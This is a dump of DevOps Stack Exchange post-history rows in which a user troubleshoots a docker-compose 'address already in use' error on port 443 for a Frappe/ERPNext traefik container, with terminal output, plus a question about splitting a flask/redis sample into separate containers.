  <row Id="38347" PostHistoryTypeId="1" PostId="12487" RevisionGUID="cb601c77-4589-4f50-84cb-297b1692a288" CreationDate="2020-09-24T19:45:59.613" UserId="23443" Text="docker-compose up: Error starting userland proxy: listen tcp 0.0.0.0:443: bind: address already in use" ContentLicense="CC BY-SA 4.0" />
  <row Id="38348" PostHistoryTypeId="3" PostId="12487" RevisionGUID="cb601c77-4589-4f50-84cb-297b1692a288" CreationDate="2020-09-24T19:45:59.613" UserId="23443" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;containers&gt;&lt;networking&gt;&lt;images&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38349" PostHistoryTypeId="5" PostId="12487" RevisionGUID="c90f775a-01f0-4af2-8791-fd9e0e9681ac" CreationDate="2020-09-24T20:01:36.697" UserId="23443" Comment="added 4 characters in body" Text="&#xD;&#xA;specific error:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    ERROR: for traefik  Cannot start service traefik: driver failed programming external connectivity on endpoint frappe_docker_traefik_1 (9403a83dff1da9718f4bbe0bf9c308b7a69093a4aab714a45d542224e8c9679c): Error starting userland proxy: listen tcp 0.0.0.0:443: bind: address already in use&#xD;&#xA;    ERROR: Encountered errors while bringing up the project.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;building the image:&#xD;&#xA;&#xD;&#xA;    root $ &#xD;&#xA;    root $ git config remote.origin.url&#xD;&#xA;    https://github.com/frappe/frappe_docker.git&#xD;&#xA;    root $ &#xD;&#xA;    root $ pwd&#xD;&#xA;    /home/nicholas/github/frappe_docker&#xD;&#xA;    root $ &#xD;&#xA;    root $ whoami&#xD;&#xA;    root&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker compose-up&#xD;&#xA;    docker: 'compose-up' is not a docker command.&#xD;&#xA;    See 'docker --help'&#xD;&#xA;    root $ &#xD;&#xA;    root $ &#xD;&#xA;    root $ docker-compose up&#xD;&#xA;    Creating network &quot;frappe_docker_default&quot; with the default driver&#xD;&#xA;    Creating volume &quot;frappe_docker_assets-vol&quot; with default driver&#xD;&#xA;    Creating volume &quot;frappe_docker_redis-queue-vol&quot; with default driver&#xD;&#xA;    Creating volume &quot;frappe_docker_redis-cache-vol&quot; with default driver&#xD;&#xA;    Creating volume &quot;frappe_docker_sites-vol&quot; with default driver&#xD;&#xA;    Creating volume &quot;frappe_docker_mariadb-vol&quot; with default driver&#xD;&#xA;    Creating volume &quot;frappe_docker_cert-vol&quot; with default driver&#xD;&#xA;    Creating volume &quot;frappe_docker_redis-socketio-vol&quot; with default driver&#xD;&#xA;    Pulling redis-queue (redis:latest)...&#xD;&#xA;    latest: Pulling from library/redis&#xD;&#xA;    d121f8d1c412: Already exists&#xD;&#xA;    2f9874741855: Pull complete&#xD;&#xA;    d92da09ebfd4: Pull complete&#xD;&#xA;    bdfa64b72752: Pull complete&#xD;&#xA;    e748e6f663b9: Pull complete&#xD;&#xA;    eb1c8b66e2a1: Pull complete&#xD;&#xA;    Digest: sha256:1cfb205a988a9dae5f025c57b92e9643ec0e7ccff6e66bc639d8a5f95bba928c&#xD;&#xA;    Status: Downloaded newer image for redis:latest&#xD;&#xA;    Pulling erpnext-worker-long (frappe/erpnext-worker:edge)...&#xD;&#xA;    edge: Pulling from frappe/erpnext-worker&#xD;&#xA;    522a7372a4ae: Already exists&#xD;&#xA;    fe49c307ba58: Pull complete&#xD;&#xA;    087f00e219ec: Pull complete&#xD;&#xA;    252533adc0db: Pull complete&#xD;&#xA;    42192fcae2c8: Pull complete&#xD;&#xA;    f9385d54957d: Pull complete&#xD;&#xA;    6be927b22c8e: Pull complete&#xD;&#xA;    795eed272aec: Pull complete&#xD;&#xA;    77889f8e826e: Pull complete&#xD;&#xA;    eca6af02605b: Pull complete&#xD;&#xA;    d9d9fbb70016: Pull complete&#xD;&#xA;    1fec8e8d8c69: Pull complete&#xD;&#xA;    4f7588149326: Pull complete&#xD;&#xA;    adf49f8e4c64: Pull complete&#xD;&#xA;    39eba9b9af97: Pull complete&#xD;&#xA;    fc8a4e5ee278: Pull complete&#xD;&#xA;    197c0dd2b467: Pull complete&#xD;&#xA;    07a1ddc0cbd5: Pull complete&#xD;&#xA;    1f848d7ee176: Pull complete&#xD;&#xA;    9ff1b5719ccf: Pull complete&#xD;&#xA;    8242cccddfed: Pull complete&#xD;&#xA;    be819aea4ac8: Pull complete&#xD;&#xA;    f3bcc4e6c232: Pull complete&#xD;&#xA;    Digest: sha256:e1b9602163a9c0959d924315aaf3919aa2404baa88997f11073758dfe43c7714&#xD;&#xA;    Status: Downloaded newer image for frappe/erpnext-worker:edge&#xD;&#xA;    Pulling traefik (traefik:v2.2)...&#xD;&#xA;    v2.2: Pulling from library/traefik&#xD;&#xA;    cbdbe7a5bc2a: Pull complete&#xD;&#xA;    f16506d32a25: Pull complete&#xD;&#xA;    605303653d66: Pull complete&#xD;&#xA;    a9005a35b171: Pull complete&#xD;&#xA;    Digest: sha256:ea0aa8832bfd08369166baecd40b35fc58979df8f5dc5182e4e63ee6adbe66db&#xD;&#xA;    Status: Downloaded newer image for traefik:v2.2&#xD;&#xA;    Pulling mariadb (mariadb:10.3)...&#xD;&#xA;    10.3: Pulling from library/mariadb&#xD;&#xA;    e6ca3592b144: Pull complete&#xD;&#xA;    534a5505201d: Pull complete&#xD;&#xA;    990916bd23bb: Pull complete&#xD;&#xA;    c62d6bd206a2: Pull complete&#xD;&#xA;    ba34deb445c3: Pull complete&#xD;&#xA;    47b4f6570cf0: Pull complete&#xD;&#xA;    28b039c5139e: Pull complete&#xD;&#xA;    d9f0e67eb23f: Pull complete&#xD;&#xA;    69df87d9330c: Pull complete&#xD;&#xA;    420ae5e12220: Pull complete&#xD;&#xA;    7539ff915a5c: Pull complete&#xD;&#xA;    45aee0e8778e: Pull complete&#xD;&#xA;    694594587433: Pull complete&#xD;&#xA;    Digest: sha256:bc0a542b4b69b71b4dda09aaaec3cb57902f935fc1237ee9bd542a944a877ae8&#xD;&#xA;    Status: Downloaded newer image for mariadb:10.3&#xD;&#xA;    Pulling erpnext-nginx (frappe/erpnext-nginx:edge)...&#xD;&#xA;    edge: Pulling from frappe/erpnext-nginx&#xD;&#xA;    d121f8d1c412: Already exists&#xD;&#xA;    ebd81fc8c071: Already exists&#xD;&#xA;    655316c160af: Already exists&#xD;&#xA;    d15953c0e0f8: Already exists&#xD;&#xA;    2ee525c5c3cc: Already exists&#xD;&#xA;    998e31db18de: Pull complete&#xD;&#xA;    d6b501d3e02a: Pull complete&#xD;&#xA;    95b354c2b5ea: Pull complete&#xD;&#xA;    8ef9ced566c5: Pull complete&#xD;&#xA;    7359850e2e7d: Pull complete&#xD;&#xA;    b1ddb017a0ed: Pull complete&#xD;&#xA;    055262deb169: Pull complete&#xD;&#xA;    4155a56e936b: Pull complete&#xD;&#xA;    Digest: sha256:394dd647bf0d486afc689366dff7cac6fca9fd623c47ec55583d53581431b91c&#xD;&#xA;    Status: Downloaded newer image for frappe/erpnext-nginx:edge&#xD;&#xA;    Pulling frappe-socketio (frappe/frappe-socketio:edge)...&#xD;&#xA;    edge: Pulling from frappe/frappe-socketio&#xD;&#xA;    abb454610128: Already exists&#xD;&#xA;    3dfc5a66c517: Already exists&#xD;&#xA;    9d3cc0392eb2: Already exists&#xD;&#xA;    269452c05570: Already exists&#xD;&#xA;    4a5ad82bcf62: Already exists&#xD;&#xA;    d9e4710f1239: Pull complete&#xD;&#xA;    0cbfca669cac: Pull complete&#xD;&#xA;    c1659af7c53f: Pull complete&#xD;&#xA;    7d1fb7ca8900: Pull complete&#xD;&#xA;    5b751fa50a09: Pull complete&#xD;&#xA;    a51353f97821: Pull complete&#xD;&#xA;    db61d40e1d8f: Pull complete&#xD;&#xA;    Digest: sha256:43abae19ff0f2ab064bfae012c77b7515534a7294ea05c65738ce943818758ff&#xD;&#xA;    Status: Downloaded newer image for frappe/frappe-socketio:edge&#xD;&#xA;    Creating frappe_docker_redis-cache_1    ... done&#xD;&#xA;    Creating frappe_docker_redis-socketio_1 ... done&#xD;&#xA;    Creating frappe_docker_mariadb_1                ... done&#xD;&#xA;    Creating frappe_docker_erpnext-nginx_1  ... done&#xD;&#xA;    Creating frappe_docker_redis-queue_1     ... done&#xD;&#xA;    Creating frappe_docker_erpnext-python_1 ... done&#xD;&#xA;    Creating frappe_docker_traefik_1        ... &#xD;&#xA;    Creating frappe_docker_traefik_1                ... error&#xD;&#xA;    Creating frappe_docker_frappe-socketio_1 ... &#xD;&#xA;    Creating frappe_docker_erpnext-worker-long_1 ... &#xD;&#xA;    Creating frappe_docker_erpnext-schedule_1    ... &#xD;&#xA;    Creating frappe_docker_erpnext-worker-short_1 ... &#xD;&#xA;    Creating frappe_docker_site-creator_1           ... done&#xD;&#xA;    Creating frappe_docker_frappe-socketio_1        ... done&#xD;&#xA;    Creating frappe_docker_erpnext-worker-long_1    ... done&#xD;&#xA;    Creating frappe_docker_erpnext-schedule_1       ... done&#xD;&#xA;    Creating frappe_docker_erpnext-worker-short_1   ... done&#xD;&#xA;    Creating frappe_docker_erpnext-worker-default_1 ... done&#xD;&#xA;    &#xD;&#xA;    ERROR: for traefik  Cannot start service traefik: driver failed programming external connectivity on endpoint frappe_docker_traefik_1 (9403a83dff1da9718f4bbe0bf9c308b7a69093a4aab714a45d542224e8c9679c): Error starting userland proxy: listen tcp 0.0.0.0:443: bind: address already in use&#xD;&#xA;    ERROR: Encountered errors while bringing up the project.&#xD;&#xA;    root $ &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;and:&#xD;&#xA;&#xD;&#xA;    root $ &#xD;&#xA;    root $ sudo netstat -pna | grep 443&#xD;&#xA;    tcp        0      0 0.0.0.0:443             0.0.0.0:*               LISTEN      892/nginx: master p &#xD;&#xA;    tcp        0      0 192.168.1.3:40868       172.217.3.174:443       ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:34876       172.217.14.226:443      ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:49400       198.252.206.25:443      ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:45006       172.217.3.161:443       ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:57728       99.84.66.47:443         ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:41922       216.58.193.67:443       ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:41330       157.240.3.29:443        ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:55040       69.147.80.15:443        ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:54386       172.217.3.206:443       ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:40868       104.16.24.34:443        ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:45212       172.217.14.194:443      ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:58514       172.217.14.206:443      ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:48780       216.58.193.66:443       ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:54460       216.58.193.78:443       ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:49406       198.252.206.25:443      ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:48966       74.125.197.95:443       ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:56798       98.137.11.143:443       ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:43260       172.217.14.193:443      TIME_WAIT   -                   &#xD;&#xA;    tcp        0      0 192.168.1.3:43158       172.217.14.202:443      TIME_WAIT   -                   &#xD;&#xA;    tcp        0      0 192.168.1.3:43156       172.217.14.202:443      TIME_WAIT   -                   &#xD;&#xA;    tcp        0      0 192.168.1.3:46862       151.101.193.69:443      ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:55550       192.0.73.2:443          ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:52392       172.217.3.194:443       ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:34928       172.217.14.226:443      ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:60420       172.217.3.195:443       ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:48100       74.125.195.189:443      ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:52396       172.217.3.194:443       ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:48774       216.58.193.66:443       ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:42918       192.184.69.141:443      ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:53542       54.212.130.172:443      ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:52372       172.217.3.194:443       ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:34266       172.217.14.198:443      ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:44174       216.58.217.34:443       ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:59974       74.125.20.156:443       ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:57814       99.84.66.47:443         ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:49482       198.252.206.25:443      ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:39464       23.62.70.19:443         ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:35576       99.84.66.78:443         ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:59108       157.240.3.20:443        ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:43230       172.217.14.193:443      ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:39030       172.217.3.164:443       ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:39160       104.17.79.107:443       ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:54458       216.58.193.78:443       ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:41854       172.217.3.170:443       ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        1      0 192.168.1.3:53892       172.67.11.174:80        CLOSE_WAIT  446443/WebKitNetwor &#xD;&#xA;    tcp        0      0 192.168.1.3:45222       172.217.14.194:443      ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:45108       54.70.109.38:443        ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:49452       198.252.206.25:443      ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:48836       216.58.193.66:443       ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp6       0      0 :::443                  :::*                    LISTEN      892/nginx: master p &#xD;&#xA;    unix  2      [ ACC ]     STREAM     LISTENING     24632463 448102/containerd-s  @/containerd-shim/moby/adaa8c3f4f239d443191aa03c37d4f9b2dc5867f355327bf9ac454c04228c421/shim.sock@&#xD;&#xA;    unix  2      [ ACC ]     STREAM     LISTENING     21327443 1/systemd            /run/systemd/userdb/io.systemd.DynamicUser&#xD;&#xA;    unix  3      [ ]         SEQPACKET  CONNECTED     24588159 446443/WebKitNetwor  &#xD;&#xA;    unix  3      [ ]         STREAM     CONNECTED     24212443 426457/python3       &#xD;&#xA;    unix  3      [ ]         STREAM     CONNECTED     24588530 446443/WebKitNetwor  &#xD;&#xA;    unix  3      [ ]         STREAM     CONNECTED     24433290 1/systemd            /run/systemd/journal/stdout&#xD;&#xA;    unix  3      [ ]         STREAM     CONNECTED     24588523 446443/WebKitNetwor  &#xD;&#xA;    unix  3      [ ]         STREAM     CONNECTED     24433288 438233/fwupd         &#xD;&#xA;    unix  3      [ ]         SEQPACKET  CONNECTED     24588536 446443/WebKitNetwor  &#xD;&#xA;    unix  3      [ ]         STREAM     CONNECTED     24433306 438233/fwupd         &#xD;&#xA;    unix  3      [ ]         STREAM     CONNECTED     24432328 616/dbus-daemon      /run/dbus/system_bus_socket&#xD;&#xA;    unix  3      [ ]         STREAM     CONNECTED     24628094 448102/containerd-s  @/containerd-shim/moby/adaa8c3f4f239d443191aa03c37d4f9b2dc5867f355327bf9ac454c04228c421/shim.sock@&#xD;&#xA;    root $ &#xD;&#xA;&#xD;&#xA;My understanding of [this problem][1] is that it relates more to running the container rather than building the image.  Yet the image wasn't built?  I don't see it listed in `docker images`, and certainly nothing recent.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This is almost certainly a conflict with an existing container?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/q/37971961/4531180&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38350" PostHistoryTypeId="2" PostId="12488" RevisionGUID="d83b4fa4-7c17-49b0-9bcd-6065c0902f12" CreationDate="2020-09-24T21:24:47.723" UserId="23443" Text="The [sample][1] from Docker, a &quot;hello world&quot; with `redis` and `flask`, seems to build fine, but, as an exercise can it be broken into two components?&#xD;&#xA;&#xD;&#xA;&gt; The redis service uses a public Redis image pulled from the Docker Hub&#xD;&#xA;&gt; registry.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; Compose pulls a Redis image, builds an image for your code, and starts&#xD;&#xA;&gt; the services you defined. In this case, the code is statically copied&#xD;&#xA;&gt; into the image at build time.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;What I have in mind is to use the default `redis` image as its own container, and then modify the `flask` app so that it [connects][2] to the `redis` image.  This is reasonable?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/q/12482/23443&#xD;&#xA;  [2]: https://devops.stackexchange.com/q/12467/23443" ContentLicense="CC BY-SA 4.0" />
  <row Id="38351" PostHistoryTypeId="1" PostId="12488" RevisionGUID="d83b4fa4-7c17-49b0-9bcd-6065c0902f12" CreationDate="2020-09-24T21:24:47.723" UserId="23443" Text="hello world with flask and redis using docker networking" ContentLicense="CC BY-SA 4.0" />
  <row Id="38352" PostHistoryTypeId="3" PostId="12488" RevisionGUID="d83b4fa4-7c17-49b0-9bcd-6065c0902f12" CreationDate="2020-09-24T21:24:47.723" UserId="23443" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;containers&gt;&lt;flask&gt;&lt;redis&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38353" PostHistoryTypeId="2" PostId="12489" RevisionGUID="1332cb94-2267-4902-a88a-140f8979e456" CreationDate="2020-09-24T21:38:49.973" UserId="23443" Text="seems to build:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker-compose build&#xD;&#xA;    erpnext-python uses an image, skipping&#xD;&#xA;    site-creator uses an image, skipping&#xD;&#xA;    redis-socketio uses an image, skipping&#xD;&#xA;    redis-queue uses an image, skipping&#xD;&#xA;    traefik uses an image, skipping&#xD;&#xA;    redis-cache uses an image, skipping&#xD;&#xA;    erpnext-worker-long uses an image, skipping&#xD;&#xA;    erpnext-nginx uses an image, skipping&#xD;&#xA;    erpnext-worker-short uses an image, skipping&#xD;&#xA;    mariadb uses an image, skipping&#xD;&#xA;    erpnext-worker-default uses an image, skipping&#xD;&#xA;    erpnext-schedule uses an image, skipping&#xD;&#xA;    frappe-socketio uses an image, skipping&#xD;&#xA;    root $ &#xD;&#xA;    root $ pwd&#xD;&#xA;    /home/nicholas/github/frappe_docker&#xD;&#xA;    root $ &#xD;&#xA;    root $ whoami&#xD;&#xA;    root&#xD;&#xA;    root $ &#xD;&#xA;    root $ git show remote.origin.url&#xD;&#xA;    fatal: ambiguous argument 'remote.origin.url': unknown revision or path not in the working tree.&#xD;&#xA;    Use '--' to separate paths from revisions, like this:&#xD;&#xA;    'git &lt;command&gt; [&lt;revision&gt;...] -- [&lt;file&gt;...]'&#xD;&#xA;    root $ &#xD;&#xA;    root $ git config remote.origin.url&#xD;&#xA;    https://github.com/frappe/frappe_docker.git&#xD;&#xA;    root $ &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I just removed `nginx` with `apt`, figure I want be docker-centric." ContentLicense="CC BY-SA 4.0" />
  <row Id="38354" PostHistoryTypeId="5" PostId="12489" RevisionGUID="4ff988eb-981c-4e88-8a3f-67b97a763bf9" CreationDate="2020-09-24T21:43:50.173" UserId="23443" Comment="added 5536 characters in body" Text="seems to build:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker-compose build&#xD;&#xA;    erpnext-python uses an image, skipping&#xD;&#xA;    site-creator uses an image, skipping&#xD;&#xA;    redis-socketio uses an image, skipping&#xD;&#xA;    redis-queue uses an image, skipping&#xD;&#xA;    traefik uses an image, skipping&#xD;&#xA;    redis-cache uses an image, skipping&#xD;&#xA;    erpnext-worker-long uses an image, skipping&#xD;&#xA;    erpnext-nginx uses an image, skipping&#xD;&#xA;    erpnext-worker-short uses an image, skipping&#xD;&#xA;    mariadb uses an image, skipping&#xD;&#xA;    erpnext-worker-default uses an image, skipping&#xD;&#xA;    erpnext-schedule uses an image, skipping&#xD;&#xA;    frappe-socketio uses an image, skipping&#xD;&#xA;    root $ &#xD;&#xA;    root $ pwd&#xD;&#xA;    /home/nicholas/github/frappe_docker&#xD;&#xA;    root $ &#xD;&#xA;    root $ whoami&#xD;&#xA;    root&#xD;&#xA;    root $ &#xD;&#xA;    root $ git show remote.origin.url&#xD;&#xA;    fatal: ambiguous argument 'remote.origin.url': unknown revision or path not in the working tree.&#xD;&#xA;    Use '--' to separate paths from revisions, like this:&#xD;&#xA;    'git &lt;command&gt; [&lt;revision&gt;...] -- [&lt;file&gt;...]'&#xD;&#xA;    root $ &#xD;&#xA;    root $ git config remote.origin.url&#xD;&#xA;    https://github.com/frappe/frappe_docker.git&#xD;&#xA;    root $ &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I just removed `nginx` with `apt`, figure I want be docker-centric.&#xD;&#xA;&#xD;&#xA;same error:&#xD;&#xA;&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker-compose up&#xD;&#xA;    frappe_docker_erpnext-nginx_1 is up-to-date&#xD;&#xA;    frappe_docker_redis-socketio_1 is up-to-date&#xD;&#xA;    frappe_docker_redis-cache_1 is up-to-date&#xD;&#xA;    frappe_docker_erpnext-python_1 is up-to-date&#xD;&#xA;    frappe_docker_redis-queue_1 is up-to-date&#xD;&#xA;    Starting frappe_docker_traefik_1 ... &#xD;&#xA;    frappe_docker_mariadb_1 is up-to-date&#xD;&#xA;    Starting frappe_docker_site-creator_1 ... &#xD;&#xA;    frappe_docker_frappe-socketio_1 is up-to-date&#xD;&#xA;    frappe_docker_erpnext-worker-long_1 is up-to-date&#xD;&#xA;    frappe_docker_erpnext-schedule_1 is up-to-date&#xD;&#xA;    frappe_docker_erpnext-worker-short_1 is up-to-date&#xD;&#xA;    Starting frappe_docker_traefik_1      ... error&#xD;&#xA;    WARNING: Host is already in use by another container&#xD;&#xA;    &#xD;&#xA;    ERROR: for frappe_docker_traefik_1  Cannot start service traefik: driver failed programming external connectivity on endpoint frappe_docker_traefik_1 (29c71684d6c7eafea7cd8415679dbb88fce1957e6ac7519e94bcb3c6f449e0fa): Error starting userland proxy: listen tcp 0.0.Starting frappe_docker_site-creator_1 ... done&#xD;&#xA;    &#xD;&#xA;    ERROR: for traefik  Cannot start service traefik: driver failed programming external connectivity on endpoint frappe_docker_traefik_1 (29c71684d6c7eafea7cd8415679dbb88fce1957e6ac7519e94bcb3c6f449e0fa): Error starting userland proxy: listen tcp 0.0.0.0:443: bind: address already in use&#xD;&#xA;    ERROR: Encountered errors while bringing up the project.&#xD;&#xA;    root $ &#xD;&#xA;&#xD;&#xA;I might just reboot; thought it was building the image:&#xD;&#xA;&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker-compose up&#xD;&#xA;    Creating frappe_docker_redis-queue_1 ... &#xD;&#xA;    Creating frappe_docker_mariadb_1        ... done&#xD;&#xA;    Creating frappe_docker_erpnext-nginx_1 ... &#xD;&#xA;    Creating frappe_docker_traefik_1       ... &#xD;&#xA;    Creating frappe_docker_traefik_1        ... error&#xD;&#xA;    Creating frappe_docker_redis-queue_1    ... done&#xD;&#xA;    Creating frappe_docker_redis-socketio_1 ... &#xD;&#xA;    Creating frappe_docker_erpnext-nginx_1          ... done&#xD;&#xA;    &#xD;&#xA;    ERROR: for frappe_docker_traefik_1  Cannot start service traefik: driver failed programming external connectivity on endpoint frappe_docker_traefik_1 (197e1a77347d2f79d408ddeb070d90aec993694b1852c867d95dac1282cc300a): Error starting userland proxy: listen tcp 0.0.Creating frappe_docker_redis-socketio_1         ... done&#xD;&#xA;    Creating frappe_docker_site-creator_1           ... done&#xD;&#xA;    Creating frappe_docker_erpnext-worker-short_1   ... done&#xD;&#xA;    Creating frappe_docker_erpnext-worker-long_1    ... done&#xD;&#xA;    Creating frappe_docker_erpnext-worker-default_1 ... done&#xD;&#xA;    Creating frappe_docker_erpnext-schedule_1       ... done&#xD;&#xA;    Creating frappe_docker_frappe-socketio_1        ... done&#xD;&#xA;    &#xD;&#xA;    ERROR: for traefik  Cannot start service traefik: driver failed programming external connectivity on endpoint frappe_docker_traefik_1 (197e1a77347d2f79d408ddeb070d90aec993694b1852c867d95dac1282cc300a): Error starting userland proxy: listen tcp 0.0.0.0:443: bind: address already in use&#xD;&#xA;    ERROR: Encountered errors while bringing up the project.&#xD;&#xA;    root $ &#xD;&#xA;    root $ &#xD;&#xA;    root $ docker ps -a&#xD;&#xA;    CONTAINER ID        IMAGE                         COMMAND                  CREATED             STATUS              PORTS               NAMES&#xD;&#xA;    547893b78496        frappe/frappe-socketio:edge   &quot;docker-entrypoint.s…&quot;   19 seconds ago      Up 6 seconds                            frappe_docker_frappe-socketio_1&#xD;&#xA;    d7c672c3b8e4        frappe/erpnext-worker:edge    &quot;docker-entrypoint.s…&quot;   23 seconds ago      Up 6 seconds        8000/tcp            frappe_docker_erpnext-worker-long_1&#xD;&#xA;    16916a30304b        frappe/erpnext-worker:edge    &quot;docker-entrypoint.s…&quot;   23 seconds ago      Up 8 seconds        8000/tcp            frappe_docker_erpnext-schedule_1&#xD;&#xA;    f18a505e3d01        frappe/erpnext-worker:edge    &quot;docker-entrypoint.s…&quot;   23 seconds ago      Up 5 seconds        8000/tcp            frappe_docker_erpnext-worker-default_1&#xD;&#xA;    7da607a8d5a8        frappe/erpnext-worker:edge    &quot;docker-entrypoint.s…&quot;   23 seconds ago      Up 6 seconds        8000/tcp            frappe_docker_erpnext-worker-short_1&#xD;&#xA;    6ea0246bf12d        frappe/erpnext-worker:edge    &quot;docker-entrypoint.s…&quot;   25 seconds ago      Up 10 seconds       8000/tcp            frappe_docker_site-creator_1&#xD;&#xA;    70879517dbbf        mariadb:10.3                  &quot;docker-entrypoint.s…&quot;   35 seconds ago      Up 30 seconds       3306/tcp            frappe_docker_mariadb_1&#xD;&#xA;    e1b06e870f32        redis:latest                  &quot;docker-entrypoint.s…&quot;   35 seconds ago      Up 19 seconds       6379/tcp            frappe_docker_redis-socketio_1&#xD;&#xA;    b8ef2a1cd685        frappe/erpnext-worker:edge    &quot;docker-entrypoint.s…&quot;   35 seconds ago      Up 26 seconds       8000/tcp            frappe_docker_erpnext-python_1&#xD;&#xA;    d6555ff0f12f        traefik:v2.2                  &quot;/entrypoint.sh --lo…&quot;   35 seconds ago      Created                                 frappe_docker_traefik_1&#xD;&#xA;    d7cbac8c826b        redis:latest                  &quot;docker-entrypoint.s…&quot;   35 seconds ago      Up 28 seconds       6379/tcp            frappe_docker_redis-cache_1&#xD;&#xA;    55b3a31ee25c        frappe/erpnext-nginx:edge     &quot;/docker-entrypoint.…&quot;   35 seconds ago      Up 19 seconds       80/tcp              frappe_docker_erpnext-nginx_1&#xD;&#xA;    4d6c6ed96e2a        redis:latest                  &quot;docker-entrypoint.s…&quot;   35 seconds ago      Up 23 seconds       6379/tcp            frappe_docker_redis-queue_1&#xD;&#xA;    root $ &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I'll take another look at `netstat` before rebooting.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
